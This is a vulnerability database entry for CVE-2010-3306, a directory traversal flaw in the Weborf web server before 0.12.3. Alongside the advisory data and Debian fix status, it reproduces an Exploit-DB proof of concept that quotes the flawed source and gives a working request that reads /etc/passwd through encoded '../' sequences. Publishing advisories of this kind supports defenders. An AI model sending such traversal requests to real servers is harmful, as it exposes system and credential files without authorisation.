CVE-2010-3306

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Published 2010-09-24 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

6.0

Description

Directory traversal vulnerability in the modURL function in instance.c in Weborf before 0.12.3 allows remote attackers to read arbitrary files via ..%2f sequences in a URI.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-14925 remote linux verified text · 1 KB

Rew · 2010-09-07

weborf 0.12.2 - Directory Traversal

text exploit Source: Exploit-DB

Title: Weborf httpd <= 0.12.2 Directory Traversal Vulnerability
Date: Sep 6, 2010
Author:	Rew
Link: http://galileo.dmi.unict.it/wiki/weborf/doku.php
Version: 0.12.2
Tested On: Debian 5
CVE: N/A

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Weborf httpd <= 0.12.2 suffers a directory traversal
vulnerability.  This vulnerability could allow
attackers to read arbitrary files and hak th3 plan3t.

instance.c : line 240-244
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void modURL(char* url) {
    //Prevents the use of .. to access the whole filesystem  <-- ORLY?
    strReplace(url,"../",'\0');

    replaceEscape(url);
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Exploit: GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

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OS impact

Debian Fixed 5 releases

Version	Status	Fixed in
trixie	Fixed	`0.12.3-1`
sid	Fixed	`0.12.3-1`
forky	Fixed	`0.12.3-1`
bullseye	Fixed	`0.12.3-1`
bookworm	Fixed	`0.12.3-1`

Application impact

Vendor	Product	Versions
salvo_g._tomaselli	weborf	`{"endIncluding":"0.12.2"}`
salvo_g._tomaselli	weborf	`0.3`
salvo_g._tomaselli	weborf	`0.4`
salvo_g._tomaselli	weborf	`0.5`
salvo_g._tomaselli	weborf	`0.6`
salvo_g._tomaselli	weborf	`0.7`
salvo_g._tomaselli	weborf	`0.8`
salvo_g._tomaselli	weborf	`0.9`
salvo_g._tomaselli	weborf	`0.10`
salvo_g._tomaselli	weborf	`0.11`
salvo_g._tomaselli	weborf	`0.12`
salvo_g._tomaselli	weborf	`0.12.1`

References

CWEs

CWE-22

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